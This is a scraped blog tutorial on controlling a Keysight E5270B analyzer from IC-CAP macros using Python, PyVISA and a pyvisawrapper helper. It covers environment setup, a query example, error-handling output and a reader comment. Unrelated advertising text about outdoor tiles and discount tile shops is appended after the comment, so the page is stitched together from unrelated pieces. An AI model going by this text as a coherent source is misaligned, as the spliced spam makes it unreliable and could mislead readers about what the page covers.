'C:\\Keysight\\ICCAP_2016_01\\tools\\win32_64\\DLLs', 'C:\\Keysight\\ICCAP_2016_\\tools\\win32_64\\lib-tk', 'C:\\Users\\username\\Envs\\icenv\\lib\\site-packages', 'C:\\Users\\username\\Envs\\icenv\\DLLs', 'C:\\Keysight\\ICCAP_2016_01\\tools\\win32_64'] To exit the virtual Python interpreter type: >>> quit() (icenv) C:\Users\username\Envs\icenv> Leave the virtual environment by typing: (icenv) C:\Users\username\Envs\icenv> deactivate C:\Users\username\Envs\icenv> If you made it this far then your icenv virtual Python environment is setup and ready to be used from IC-CAP. Step 2. Start IC-CAP, then create a new model file and add a new macro Go the the main IC-CAP menu and select File, then New. Name your model file ‘pypvisa_example’. Select the Macros tab and then click New… to create a new macro. Enter _pyvisa_run for the name of the new macro. Step 3. Add variables to the IC-CAP Model Variable table Select Model Variables and enter the following variables in the Model Variable table: We'll describe each of these variables as follows. - The interfacevariable should be set to the VISA resource string as listed under the My Instrumentspanel in Keysight Connection Expert or after performing a scan for instruments.This is also the string returned from PyVISA after sending the list_resources()function to the default resource manager. - The visaResponsevariable holds the response string from the latest command sent to the instrument. - The error_statusis a list of values to look for in the status byte register that would indicate an error. This information should be available in the instrument's programming guide. In the case of the E5270B analyzer, the decimal value for the error status bit is 32.The error status could potentially be returned as 48if the Set Readybit is also active, or 128if an emergency error is reported after the last command sent. - The error_commandis the list of instrument specific commands necessary for returning the error codeand the error messagestring from the instrument's message buffer. In our E5270B example, the error commands are " ERR?"and " EMG?", with " EMG?"being the command that is sent after processing the list of codes returned from the " ERR?"query. This command will return the error message string for the associated error code passed as a parameter when performing the query. " ERR?"is the query that works with the B1500A to do extended error reporting. The pyvisawrapper code performs all of this detailed error checking for you! This is incredibly handy. Simply setting the debug variable to 1 in the Model Variable table will enable debug prints in the macro and pyvisawrapper, and output verbose debug text that is displayed in the IC-CAP Output window. This information will aid you in troubleshooting your Python code. Step 4. Activate the virtual Python environment Add the following two lines to your macro activate_this = "/Users/username/Envs/icenv/Scripts/activate_this.py" execfile(activate_this, dict(__file__=activate_this)) The "username" in the first line is the name of the current user logged into your Windows 7 machine. This generic name is a place holder for the commands listed below and represent the current user's home directory. Step 5. Import the iccap.py functions and pyvisawrapper.py Add the following two lines to your macro from iccap import icfuncs as f, MVar from pyvisawrapper import * Now we have access to all the functions in pyvisawrapper.py and iccap.py. Step 6. Add some local variables and variables that access the Model Variable table Add the following lines to your macro: bOk = True # return status of the called function cmd = "" # command string instr = MVar("interface").get_val() # visa resource to use from model var table rsp = MVar("visaResponse") # visa response string from read or query stat = MVar("error_status").get_val().split(",") # status byte to check for error condition err = MVar("error_command").get_val().split(",") # error command to send to query error event debug = MVar("debug").get_val() # enable/disable debug prints qdelay = 1.0 # delay for visa query Here we are just reading variables from the IC-CAP model variable table and storing them to local Python variables. Step 7. Use the high-level API function visaOpenSession to access the VISA Resource Manager and open a link to the E5270B resource Add the following lines to your macro: # open session and return visa resource link vl = visaOpenSession(instr) if debug: print vl # close visa session bOk = visaCloseSession(vl) if debug: print "visaCloseSession: ",bOk You should always close the VISA session when you are done with a resource. Not properly closing the session can cause errors if you attempt to re-open the same resource later. pyvisawrapper::closeSession: True visaCloseSession: True You did not need to import visa.py to access the VISA resources since pyvisawrapper.py handles that for you. It also handles calling the visa.ResourceManager() and visa.open() using your GPIB0:17::INSTR resource string specified in the Model Variable table. If this step has errors, then you probably did not install and configure the GPIB VISA driver software application or the instrument is not on the bus. Otherwise the list will not return the GPIB resource with the address of your instrument. The communication drivers installed as part of the prerequisites allow you to 'scan for instruments.' National Instruments provides NI MAX (Measurement & Automation Explorer). Keysight interfaces provide Keysight Connection Expert. These software applications should be installed with your 488.2 and VISA drivers for your communications interface. Step 8. Send your first command to the instrument to return its identifier string Add the following lines to your macro: cmd = "*IDN?" if bOk: bOk = visaQuery(vl, cmd, rsp, 10000, stat, err) print "visaQuery: {} cmd returned {}".format(cmd, rsp.get_val().split(",")) Execute your macro and you should see something like the following displayed in the IC-CAP Output window: intr: GPIBInstrument at GPIB0::17::INSTR cmd: *IDN? rsp: <iccap.MVar instance at 0x000000000E11B608> timo: 10000 stat: 48 err: <iccap.MVar instance at 0x000000000E11B488> pyvisawrapper::visaQuery() True read: Agilent Technologies,E5270B,0,B.01.10 bytes: 39 pyvisawrapper::visaQuery: True *IDN? returned ['Agilent Technologies', 'E5270B', '0', 'B.01.10\r\n'] NOTE: The instrument was found on interface GPIB0 at address 17 and returned its identifier string in the visaQuery response. Step 9. Do some clean up and leave the system in an initialized state It is good practice to send a GPIB device clear before closing the interface. To do that, add the following lines to your macro: bOk = visaClear(vl) if debug: print "visaClear: ",bOK Step 10. Test the completed _pyisa_run macro intr: GPIBInstrument at GPIB0::17::INSTR cmd: *IDN? rsp: <iccap.MVar instance at 0x000000000C39DF08> timo: 10000 stat: 48 err: ERR? pyvisawrapper::visaQuery() True read: Agilent Technologies,E5270B,0,B.01.10 bytes: 39 pyvisawrapper::visaQuery: cmd *IDN? returned ['Agilent Technologies', 'E5270B', '0', 'B.01.10\r\n'] pyvisawrapper::clear: True inst: GPIBInstrument at GPIB0::17::INSTR visaClear: True pyvisawrapper::closeSession: True visaCloseSession: True Example of pyvisawrapper's Error Processing Now, let's look at an example of the pyvisawrapper.py error processing, which will help you find errors occurring in your code. Again, this is one of the real advantages of using the pyvisawrapper API. Without it, you would have to write instrument specific code in your Python script to detect, query and display any errors. Let's purposely create an example of a common type of error such as sending an illegal argument or command to the instrument, and see how it is handled by the pyvisawrapper. Let's change our macro slightly to send the command "ID?" instead of "*IDN?" Change the following lines to your macro: cmd = "ID?" if bOk: bOk = visaQuery(vl, cmd, rsp, 10000, stat, err) print "visaQuery: {} cmd returned {}".format(cmd, rsp.get_val().split(",")) See the error on line 20? Execute your macro and you should see something like the following displayed in the IC-CAP Output window: intr: GPIBInstrument at GPIB0::17::INSTR cmd: ID? rsp: <iccap.MVar instance at 0x000000000BFF0348> timo: 10000 stat: 48 err: ERR? Query error VI_ERROR_TMO (-1073807339): Timeout expired before operation completed. - last command: ID? visaQuery: cmd ID? returned ['visaError : 100 : Undefined GPIB command.\r\n'] With no error checking, we would only get the timeout error " VI_ERROR_TMO (-1073807339)". That doesn't say much, does it? What's Next? If you've successfully completed all of these steps, then you should now be able to access the most common functions of PyVISA, the pyvisawrapper API from IC-CAP. And that means you can now very simply create new transforms for instrument control and data acquisition over any supported interface. In a future article, I’ll outline the steps for using the ideas presented here to create a series of transforms to perform an Id versus Vg quasi-static measurement on a discrete NMOS device. In other forthcoming articles, I'll show you how to use more of the powerful features included in IC-CAP and exposed through the iccap.py. I'll also use the pyvisawrapper.py again to write Python code for accessing an instrument and returning measured results. I'll even show you how to access more of the internal IC-CAP functions and data structures, which are provided to enable additional analysis and plotting functions in IC-CAP. In the meantime, I hope you find this tutorial and the pyvisawrapper utility useful in exploring the various possible ways you can extend IC-CAPs powerful framework to characterize and model your most challenging devices. For more information on IC-CAP or Keysight IO Libraries, go to and. References About Python If you are new to Python programming, here’s some information to help you follow the steps in this blog. Python is an "interpreted" language, which means it generally executes commands typed by the user in an interactive command shell. This is convenient for testing program statements to learn the Python syntax. However, a more common means of writing a Python program is to create a Python script file with the '.py' extension. Say you created an example program and save it as 'example.py.' To run the program, you simply type 'python example.py' at the command shell prompt. Python scripts, which are often called modules, can also be used for creating libraries of functionality, and are distributed along with program resources in packages. Packages can be installed and combined with user-generated code to extend a program's functionality. PIP is the Python package installer that integrates with PyPI.org—the Python Package Index. It is a repository of numerous free Python applications, utilities and libraries. PIP allows you to download and install packages from the package index without manually downloading, extracting and installing the package via the command 'python setup.py install'. PIP also checks for package dependencies and automatically downloads and installs those as well. An environment is a folder (directory) that contains everything a Python project (application) needs to run in an organized, isolated manner. When it’s initiated, it automatically comes with its own Python interpreter—a copy of the one used to create it—alongside its very own PIP. Links Extending the Power of IC-CAP with Python - PyVISA Instrument Control Keysight IC-CAP Device Modeling Software Keysight IO Libraries Suite The Python Tutorial — Python 2.7.13 documentation User Guide — virtualenv 15.1.0 documentation PyVISA: Control your instruments with Python — PyVISA 1.8 documentation This is great! On my pyvisawrapper.py, I made a small change in the visaOpenSession function, as shown below. def visaOpenSession(r): bOk = True rm = visa.ResourceManager() if debug: print "default source manager:", rm if debug: print "resources list:", rm.list_resources() # open visa session on resource print 'resource string: ' + r sl = rm.open_resource(r, write_termination = '\n') ...
https://community.keysight.com/community/keysight-blogs/eesof-eda/blog/2017/12/13/writing-custom-instrument-control-using-python-and-pyvisa-in-ic-cap
CC-MAIN-2019-39
refinedweb
3,159
55.95
401K- Is it Really Worth in the Current Setting? Retirement Plan for US residents The 401(k) plan is an employer-sponsored retirement plan that residents of the United States can avail of. It derived its name from the 1978 Internal Revenue Code. 401(k) allows one to save money for retirement. The retirement savings plan in 401 (k) is paid for by the employee and more often than not with additional matching contribution from the employer. The perceived advantages of 401 (k) plan is the fact that the contributions and the resulting income it earns are tax-free until withdrawn mostly upon retirement. Income taxes on the money save is applicable upon withdrawal of the savings. The Internal Revenue Service (IRS) makes the guidelines for the 401(k) plan but it is the Employee Benefits Security Administration of the U.S. Department of Labor that implements it. Section 401 (a) of the US Tax Code defines qualified plan trusts and enumerates the rules required for qualification. Section 401 (k) specifies for an optional "cash or deferred" way of receiving contributions from employees. Since it is part of the benefits employees enjoy, 401(k) is paid by the employers often in private company. Self-employed individuals can apply for 401(k) plan. In 1986, government offices were allowed to avail of the said opportunity as well. The employer serves as the trustee for the 401(k) plan. His functions are manifold: set up and design the plan; select and check the progress of the plan investments. Employers though have the option to designate outsourcing agencies such as bank, mutual funds, and third party administrator or insurance companies to do all the tasks for him. Employees have the option to set aside part of the wage to be paid for the 401(k) account. There are two ways of setting up the 401(k) plans: trustee-directed and the participant-directed plans. The former enables employers to designate trustees or fiduciaries who will determine how the assets will be invested. The most popular option though is participant-directed plans where employees can choose how the money will be invested. Investment options open to employees include mutual funds of stocks, bonds, money market investments or a combination of all. A number of 401(k) plans allow the purchase of company’s stock. The employee can make investment choices any time they want to. 401(k) plan is profit sharing plan that offers qualified Cash or Deferred Arrangement. The contributions are made voluntarily and the benefits are not as defined as pension plans. They fall under individual account plans because the participant’s benefit equals the value of the individual account. Some employers provide incentive to their employees by paying additional contributions to the employee’s account which they could save for retirement. Employers can also choose to make profit sharing contributions directly to the 401(k) plan. Some employers based their contribution as a fixed percentage of the employees’ wages. The contributions are intended to persuade the employee to stay longer with the employer. The good thing with 401(k) plan is once the employee stops working, 401(k) remains active throughout the employee’s life but the savings can be withdrawn when he reaches the age of 70 ½. Back in 2004, companies began requiring ex-employees to pay a fee if they want to maintain their 401(k) account with the former company. The employee has the option of moving their 401 (K) account to the IRA using independent financial establishment like banks. Another option would be to move the 401 (K) account from the former employer to be hosted by the new employer. By 2006, employees can choose the Roth 401(k), Roth 403(b) in place of the Roth IRA. But the plan sponsor is required to change the plan to allow this kind of option. As mentioned earlier, the employee is not required to pay federal income tax based on the amount the person defers. For instance, an employee who earns $50,000 a year and contributes $3,000 to 401(k) account that year only reports $47,000 as his/her income on the tax return for the year. The savings would equal to $750 in taxes for the individual in 2004 using the 25% marginal tax bracket with no additional deductions. The earnings such as interest, dividends or capital gains derived from the 401 (k) investments are not taxable also. This would redound to additional compound tax benefits for the 401(k) account holder. Taxes are paid upon the withdrawal of funds from 401(k). This usually happens during retirement. Tax is imposed because gains become “ordinary income” when the money is withdrawn. Often people hold the misconception that in 401 (k) it is more advantageous to belong to the lower tax bracket in retirement than working years. But this is not so because tax imposed on ordinary income could reach as high as 35% as compared to the capital gain rate of only 15%. It is hard to withdraw from 401(k) savings while still working especially if the employee is below 59 ½ years of age. Withdrawals done before reaching 59 ½ needs to pay excise tax of ten percent of the amount except if the reason for early withdrawal is hardship. In order to qualify for hardship the tax code requires the following circumstances to manifest: Paying for a primary residence (mortgage payments are not included) - To prevent foreclosure of or eviction from primary residence - Payment of secondary education expenses incurred in the last 12 months for the employee, his/her spouse, or dependent(s) - Medical expenses not covered by insurance for employee, their spouse, or dependent(s) which would be deductible on a federal tax return (i.e. non-essential cosmetic surgery would not be acceptable) - Funeral expenses for the employee's deceased parent(s), spouse, child(ren), or dependent(s) (as of December 31, 2005) - Home repairs due to a deductible casualty loss (as of December 31, 2005) For other reasons, the amount is treated as ordinary income. Employers have the option to reject one or all the aforementioned hardship causes. In such cases, the employee has the option to resign from work. Tax benefits from the income saved in the 401(k) plan are protected by law through the restrictions it imposed on withdrawal of funds. The law requires that as much as possible the money should remain in the 401 (k) plan or similar tax deferred plan until the employee turns 59 ½ years old. Of course, the abovementioned exceptions will be considered. To ensure that the money would not be withdrawn before the employee turns 59 ½ years, a 10% penalty tax is meted unless exceptions apply. Aside from the penalty tax, the employee has to pay tax for “ordinary income” upon withdrawal. The 10% penalty tax will not be required if the following conditions or situations exist; - Death of the employee - Total and permanent disability of the employee - End of service during or after reaching 55 years of age - Significant equal periodic payments stipulated under section 72(t) - Qualified domestic relations order - Deductible medical expenses ( more than the 7.5% minimum) A number of 401 (k) plans also permit employees to loan from their 401 (k) which is to be paid using the after-tax funds and with pre-determined interest rates. The proceeds from the interest forms part of the 401 (k) balance. The loan is not taxable as long as it is paid back within the stipulations contained in section 72 (p) of the Internal Revenue Code. This section requires that: - the loan be for a term not more than 5 years (except when used to purchase primary residence), - that a "reasonable" interest rate be charged, - that significant equal payments (to be made least every quarter) be made over the life of the loan. 401(k) plans have several distinct advantages. These are: · it reduces the amount of tax money the employee has to pay because the amount used to pay 401(k) is pre-tax money · all employer contributions and any interest incurred are tax-free until withdrawal. The compounding effect derived from this tax exemption could amount to huge savings. · the employee has the option to choose investments for his/her contributions · if the amount contributed by the employee to 401 (k) is matched by the company total salary would come out higher · unlike pension plan, all contributions in 401 (k) can be “rolled over” from old employer to new employer’s plan (or to an IRA) if the employee changes jobs. · since the program is a personal investment program for retirement, it is protected by pension (ERISA) laws. This protects the funds from creditors or being assigned to another person except in domestic relations court cases such as divorce decree or child support orders (QDROs; i.e., qualified domestic relations orders). · while the 401(k) is similar in nature to an IRA, it has more advantages than IRA due to the matching company contributions. Also, personal IRA contributions are subject to much lower limits. Just as there are advantages, there are also some perceived disadvantages of the 401(k) plans. These are: · it is difficult to access 401(k) savings before age 59 1/2 except for few exceptional cases. · 401(k) plans are not insured by the Pension Benefit Guaranty Corporation (PBGC). · employer matching contributions are usually not vested (such as do not become the property of the employee) until several years have passed. Employer matching contributions are vested according to one of two schedules, either a 3-year "cliff" plan (100% after 3 years) or a 6-year "graded" plan (20% per year in years 2 through 6) as per rule.
https://hubpages.com/misc/401KIsItReallyWorthInTheCurrentSetting
CC-MAIN-2018-09
refinedweb
1,632
50.77
Gitweb:;a=commit;h=2b1f6278d77c1f2f669346fc2bb48012b5e9495a Commit: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a Parent: 2b3b4835c94226681c496de9446d456dcf42ed08 Author: Bernhard Kaindl <[EMAIL PROTECTED]> AuthorDate: Wed May 2 19:27:17 2007 +0200 Committer: Andi Kleen <[EMAIL PROTECTED]> CommitDate: Wed May 2 19:27:17 2007 +0200 Advertising [PATCH] x86: Save the MTRRs of the BSP before booting an AP Applied fix by Andew Morton: - Fix `make headers_check'. AMD and Intel x86 CPU manuals state that it is the responsibility of system software to initialize and maintain MTRR consistency across all processors in Multi-Processing Environments. Quote from page 188 of the AMD64 System Programming manual (Volume 2): 7.6.5 MTRRs in Multi-Processing Environments "In multi-processing environments, the MTRRs located in all processors must characterize memory in the same way. Generally, this means that identical values are written to the MTRRs used by the processors." (short omission here) "Failure to do so may result in coherency violations or loss of atomicity. Processor implementations do not check the MTRR settings in other processors to ensure consistency. It is the responsibility of system software to initialize and maintain MTRR consistency across all processors." Current Linux MTRR code already implements the above in the case that the BIOS does not properly initialize MTRRs on the secondary processors, but the case where the fixed-range MTRRs of the boot processor are changed after Linux started to boot, before the initialsation of a secondary processor, is not handled yet. In this case, secondary processors are currently initialized by Linux with MTRRs which the boot processor had very early, when mtrr_bp_init() did run, but not with the MTRRs which the boot processor uses at the time when that secondary processors is actually booted, causing differing MTRR contents on the secondary processors. Such situation happens on Acer Ferrari 1000 and 5000 notebooks where the BIOS enables and sets AMD-specific IORR bits in the fixed-range MTRRs of the boot processor when it transitions the system into ACPI mode. The SMI handler of the BIOS does this in SMM, entered while Linux ACPI code runs acpi_enable(). Other occasions where the SMI handler of the BIOS may change bits in the MTRRs could occur as well. To initialize newly booted secodary processors with the fixed-range MTRRs which the boot processor uses at that time, this patch saves the fixed-range MTRRs of the boot processor before new secondary processors are started. When the secondary processors run their Linux initialisation code, their fixed-range MTRRs will be updated with the saved fixed-range MTRRs. If CONFIG_MTRR is not set, we define mtrr_save_state as an empty statement because there is nothing to do. Possible TODOs: *) CPU-hotplugging outside of SMP suspend/resume is not yet tested with this patch. *) If, even in this case, an AP never runs i386/do_boot_cpu or x86_64/cpu_up, then the calls to mtrr_save_state() could be replaced by calls to mtrr_save_fixed_ranges(NULL) and mtrr_save_state() would not be needed. That would need either verification of the CPU-hotplug code or at least a test on a >2 CPU machine. *) The MTRRs of other running processors are not yet checked at this time but it might be interesting to syncronize the MTTRs of all processors before booting. That would be an incremental patch, but of rather low priority since there is no machine known so far which would require this. AK: moved prototypes on x86-64 around to fix warnings Signed-off-by: Bernhard Kaindl <[EMAIL PROTECTED]> Signed-off-by: Andrew Morton <[EMAIL PROTECTED]> Signed-off-by: Andi Kleen <[EMAIL PROTECTED]> Cc: Andi Kleen <[EMAIL PROTECTED]> Cc: Dave Jones <[EMAIL PROTECTED]> --- arch/i386/kernel/cpu/mtrr/main.c | 11 +++++++++++ arch/i386/kernel/smpboot.c | 7 +++++++ arch/x86_64/kernel/smpboot.c | 6 ++++++ include/asm-i386/mtrr.h | 2 ++ include/asm-x86_64/mtrr.h | 2 ++ 5 files changed, 28 insertions(+), 0 deletions(-) diff --git a/arch/i386/kernel/cpu/mtrr/main.c b/arch/i386/kernel/cpu/mtrr/main.c index 0acfb6a..02a2f39 100644 --- a/arch/i386/kernel/cpu/mtrr/main.c +++ b/arch/i386/kernel/cpu/mtrr/main.c @@ -729,6 +729,17 @@ void mtrr_ap_init(void) local_irq_restore(flags); } +/** + * Save current fixed-range MTRR state of the BSP + */ +void mtrr_save_state(void) +{ + if (smp_processor_id() == 0) + mtrr_save_fixed_ranges(NULL); + else + smp_call_function_single(0, mtrr_save_fixed_ranges, NULL, 1, 1); +} + static int __init mtrr_init_finialize(void) { if (!mtrr_if) diff --git a/arch/i386/kernel/smpboot.c b/arch/i386/kernel/smpboot.c index 7c1dbef..f14d933 100644 --- a/arch/i386/kernel/smpboot.c +++ b/arch/i386/kernel/smpboot.c @@ -58,6 +58,7 @@ #include <mach_wakecpu.h> #include <smpboot_hooks.h> #include <asm/vmi.h> +#include <asm/mtrr.h> /* Set if we find a B stepping CPU */ static int __devinitdata smp_b_stepping; @@ -815,6 +816,12 @@ static int __cpuinit do_boot_cpu(int apicid, int cpu) unsigned short nmi_high = 0, nmi_low = 0; /* + * Save current MTRR state in case it was changed since early boot + * (e.g. by the ACPI SMI) to initialize new CPUs with MTRRs in sync: + */ + mtrr_save_state(); + + /* * We can't use kernel_thread since we must avoid to * reschedule the child. */ diff --git a/arch/x86_64/kernel/smpboot.c b/arch/x86_64/kernel/smpboot.c index 14724be..ddc392b 100644 --- a/arch/x86_64/kernel/smpboot.c +++ b/arch/x86_64/kernel/smpboot.c @@ -944,6 +944,12 @@ int __cpuinit _; /* Boot it! */ err = do_boot_cpu(cpu, apicid); diff --git a/include/asm-i386/mtrr.h b/include/asm-i386/mtrr.h index 02a41b9..7e9c7cc 100644 --- a/include/asm-i386/mtrr.h +++ b/include/asm-i386/mtrr.h @@ -70,6 +70,7 @@ struct mtrr_gentry /* The following functions are for use by other drivers */ # ifdef CONFIG_MTRR extern void mtrr_save_fixed_ranges(void *); +extern void mtrr_save_state(void); extern int mtrr_add (unsigned long base, unsigned long size, unsigned int type, char increment); extern int mtrr_add_page (unsigned long base, unsigned long size, @@ -81,6 +82,7 @@ extern void mtrr_ap_init(void); extern void mtrr_bp_init(void); # else #define mtrr_save_fixed_ranges(arg) do {} while (0) +#define mtrr_save_state() do {} while (0) static __inline__ int mtrr_add (unsigned long base, unsigned long size, unsigned int type, char increment) { diff --git a/include/asm-x86_64/mtrr.h b/include/asm-x86_64/mtrr.h index 1b326cb..b557c48 100644 --- a/include/asm-x86_64/mtrr.h +++ b/include/asm-x86_64/mtrr.h @@ -139,10 +139,12 @@ struct mtrr_gentry32 extern void mtrr_ap_init(void); extern void mtrr_bp_init(void); extern void mtrr_save_fixed_ranges(void *); +extern void mtrr_save_state(void); #else #define mtrr_ap_init() do {} while (0) #define mtrr_bp_init() do {} while (0) #define mtrr_save_fixed_ranges(arg) do {} while (0) +#define mtrr_save_state() do {} while (0) #endif #endif /* __KERNEL__ */ - To unsubscribe from this list: send the line "unsubscribe git-commits-head" in the body of a message to [EMAIL PROTECTED] More majordomo info at
https://www.mail-archive.com/git-commits-head@vger.kernel.org/msg11005.html
CC-MAIN-2016-44
refinedweb
1,094
53.51
. 14 comments: Will there any functional difference between the RC-version and the final version or is it just one more language (italian)? /Håkan In addition to adding one more language, I'm planning a final review of the lessons - I don't expect major changes there. I do not plan to add any new functionality. The 1.0 release should include a ".exe" all included downloading option for Windows users who do not wish to install Python and wxPython separately. firstly this is a fantastic program! I have just gone through most of it myself (I already knew how to program . . .) it was fun. I look forward to using it to teach my niece how to program! Secondly, you guys should write a tutorial for using wxpython, the gui is awesome. Finally, with the most recent version from sourceforge in linux the 'adjust robot speed' slider does not work. (the grabable part of the slider shows up, but it can not be slid as it has no track). I am using: ubuntu linux edgy eft, with python 2.4 wxpython 2.6 Gabriel Dear Gabriel: Thank you for your kind words. Unfortunately I can't reproduce the problem you noted as I don't have Linux installed; using Windows with Python 2.4 and wxPython 2.6, I don't see this problem. There is a workaround: you can use set_delay(time) as an instruction anywhere in a program where time is a number between 0 and 10 (in seconds). "0" will not mean any delay for the screen update; just as fast as it can. You can see all instruction from a link on the first rur-ple page. [For information: I am aware that a change in the latest wxPython (2.7+?) version apparently renders rur-ple essentially unusable.] There are quite a few wxPython tutorials out there. In addition, there is a relatively new book called "wxPython in action". Based on the reviews I read, and what I know of the main author (R. Dunn), I would recommend it highly. As for me, I am not using wxPython anymore as I work on a new program called "Crunchy". Crunchy is designed to deliver interactive tutorials within Firefox (the web browser). My goal is to eventually have Rur-ple's lessons delivered through Crunchy so that one will be able to both read and write a program on the same page. More information about Crunchy can be found at hello. im new with python and have a problem with rurple.. working on windowsxp with python 2.4 and wx2.6 ,in robot world i just cant tipe anything.. keyboard is dead and the report says "key=event.KeyCode() TypeError:`int`object is no callable" got my kids all intrested in reeborg (and myself i must admit) and got stuck in the first steps.. i hope you can help me somehow.. cheers,SvenStp Sven: Apparently (and I haven't had the opportunity to investigate fully) this is due to a change in wxPython since I last used it. I suggest you edit the file lightning.py and replace event.KeyCode() by event.GetKeyCode() I'm planning to do a final release very soon at which time I will download a newer version of wxPython and see for myself if this solves the problem. (It appears it does based on some email I received.) Great program, if it works. It failed several times in the past (ubuntu Dapper), with a segmentation fault or illegal instruction but sometimes it did work. Now it fails continuously (with the already mentioned messages). I had the same issue with the slide as the other Ubuntu user. I have this problems on my Laptop and Desktop with Ubuntu Dapper. Another problem if it did work was a crash that freezes the computer. Only restarting the X server would help in this case. Sorry to have no better bugreport, it happened without warning signs. BTW these problems also occured in the previous version. Hello André, I enjoy your RUR-ple program. It helps me enormously to get a better understanding of programming with Python. I was wondering if you would have proper lessons on class and returns. As far as I can see you have outlines of these lessons. Is there any way to see the expanded versions? Looking forward to hearing from you, Margita Margita: I've stopped, for now, working on lessons for rur-ple. I'm currently working on "crunchy" which is a program designed to deliver interactive tutorials inside a web browser (only Firefox works properly at the moment). My goal is to have crunchy be able to support simple animations of the kind needed for rur-ple and then simply move over the existing lessons into that new environment (no more need for wxPython). Once this is done, I will most likely expand on the lessons. Writing tutorials to be used with crunchy is much easier than trying to do the same for rur-ple. Thanks, André. Looking forward to it! Margita André, Sorry, but can I clarify soemthing which I don't seem to be able to do? I have a problem with executing the NOT statement: if not next_to_a_beeper(): move() else: turn_off() This doesn't work, whatever I try. The program either tells me that I forgot to turn it off or it keeps moving past the beeper. Can you, please, shed light on this? Thanks, Margit Margita: Please feel free to contact me directly by email. It might be easier to answer such questions. Try the following: put a beeper just in front of the robot. Have it execute this program (spaces indicated by '.') def move_until(): ....while not next_to_a_beeper(): ........move() ....turn_off() move_until() See if it behaves as you would expect. I don't understand 1 thing. I was looking at wonderful a video tutorial about Rur-ple robot but I don't know how to download the GUI type screen to my Windows XP so I can use it. How do I do this? Thank you very much. DB Raleigh NC USA dave bee: Rur-ple is a program that makes use of a GUI library (wxPython) to teach programming in Python. To use it, you need: 1. To download Python from the site. You can find the link to the download section on the left hand side. I suggest you get the 2.4.4 version. 2. You will then need to download wxPython (). I suggest you download a version earlier than 2.7, as there were some changes introduced that are currently incompatible with rur-ple (version 1.0RC). Both of these will give you ".exe" files that will install things automatically for you. Once you are done, go to rur-ple.sourceforge.net and click on the link that is identified as taking you to the download page. Then, click on the rurple1.0RC release. The file that will be downloaded is a ".zip" file which you will need to extract. Inside the folder created, double click on rur_start.py ... and you will be all set!
https://aroberge.blogspot.com/2006/11/rur-ple-10rc.html
CC-MAIN-2019-04
refinedweb
1,182
76.32
Hi, i have a robot that uses a different coordinate system than openGL does and i have great difficulties in converting this to the openGL coordinate system. I like to draw some static elements (which use the robot coordinates) into openGL. The robot coordinate system has +Z pointing upwards, +Y pointing to the left, +X pointing backwards. Help is appreciated with this problem. Well, simply swap / negate the coordinates from your robot, before you put them into gl. The transformation should look like this: (x, y, z) -> (-y, z, x) It would be easiest to write a little helper function, to do this: vec3 MakeGLCoord (vec3 v) { return (vec3 (-v.y, v.z, v.x)); } Then you can render your stuff like this: vec3 vRobotPos = … vec3 glPos = MakeGLCoord (vRobotPos); glVertex3f (glPos.x, glPos.y, glPos.z); Hope that helps you. Though i do not guarantee that i got the transformation correct Jan. the OpenGL coordinate system is a right-hand system with x pointing right y pointing upward z pointing toward you ( out of the screen ) so the coordinates form yours to OpenGL x ( 1, 0, 0 ) -> x’ ( 0, 0, -1 ) y ( 0, 1, 0 ) -> y’ ( -1, 0, 0 ) z ( 0, 0, 1 ) -> z’ ( 0, 1, 0 ) just like Jan have said
https://community.khronos.org/t/trouble-with-converting-to-opengl-coordinate-syst/57122
CC-MAIN-2020-40
refinedweb
212
67.59
ROS学习手记 - 6 使用ROS中的工具:rqt_console & roslaunch & rosed Using rqt_console and roslaunch This tutorial introduces ROS using rqt_console and rqt_logger_level for debugging and roslaunch for starting many nodes at once. If you use ROS fuerte or ealier distros whererqt isn't fully available, please see this page withthis page that uses old rx based tools. rqt console工具的打开: Using rqt_console and rqt_logger_level rqt_console attaches to ROS's logging framework to display output from nodes.rqt_logger_level allows us to change the verbosity level (DEBUG, WARN, INFO, and ERROR) of nodes as they run. Now let's look at the turtlesim output in rqt_console and switch logger levels in rqt_logger_level as we use turtlesim. Before we start the turtlesim,in two new terminals start rqt_console andrqt_logger_level: $ rosrun rqt_console rqt_console $ rosrun rqt_logger_level rqt_logger_level这里面就可以看到正在运行的node的信息,message内容等 。 logger level工具可以查看报警信息,注意logger level是有层级的,Fatal has the highest priority andDebug has the lowest. By setting the logger level, you will get all messages of that priority level or higher。 Logging levels are prioritized in the following order: Fatal Error Warn Info Debug 使用roslaunch工具 roslaunch工具是按照launch文件开始运行nodes的工具, Usage: $ roslaunch [package] [filename.launch] $ roslaunch beginner_tutorials turtlemimic.launch关于launch file : 位置:在package根目录下,有 src, include, launch文件夹,package.xml文件, 在launch文件夹下,建立finename.launch文件。 文件的内容怎么写,见文后附。 这里有个问题是,roslaunch运行了这个文件以后,出来俩跟随的turtle。只能使用rostopic pub来驱动,为何不能用rosrun turtlesim turtle_teleop_key来驱动? $ rostopic pub /turtlesim1/turtle1/cmd_vel geometry_msgs/Twist -r 1 -- '[2.0, 0.0, 0.0]' '[0.0, 0.0, -1.8]' $ rosrun turtlesim turtle_teleop_key ======================================== The Launch File Now let's create a launch file called turtlemimic.launch and paste the following:> The Launch File Explained Now, let's break the launch xml down. Here we start the launch file with the launch tag, so that the file is identified as a launch file. Here we start two groups with a namespace tag of turtlesim1 and turtlesim2 with a turtlesim node with a name of sim. This allows us to start two simulators without having name conflicts. Here we start the mimic node with the topics input and output renamed to turtlesim1 and turtlesim2. This renaming will cause turtlesim2 to mimic turtlesim1. 2.
http://blog.csdn.net/sonictl/article/details/46788147
CC-MAIN-2017-51
refinedweb
335
53.51
outdoor tiles are a beautiful way to update the exterior of your home. as many homes include outdoor entertaining spaces, exterior tile is an easy way to elevate the look of a space. patio flooring comes in a variety of colors and styles. browse tile factory outlets huge range of quality outdoor tiles, anti slip tiles, natural stone look tiles and more at outlet prices. than tfo. we offer you the best selection of quality tiles and pavers in sydney for the lowest prices on the market. cheap prices are the number one reason why you should buy your tiles at tfo sydney. our we sell the best selection of discounted tile online. our company has porcelain, glass, mosaic, metal, ceramic, decorative, pool and custom tile. buy today ceramic. direct tile warehouse have been offering a great tile choice and friendly, professional tiling advice for over 40 years. if you have an enquiry or would like free tile samples please call 01792 or email the team at info directtilewarehouse.com. beautiful wall tiles. seven trust - runnen, decking, outdoor, dark outdoor wall tiles . home tiles tile types outdoor wall tiles. novoceram porcelain tiles are suitable for exterior building facades. ceramic tiles guarantee a considerable resistance to abrupt temperature changes and adverse weather conditions. the vast assortment of patterns and colours adapts to any style. tile market supplies cheap outdoor tiles for driveways, patios, pool surroundings, alfresco areas and bbq areas. choose from a 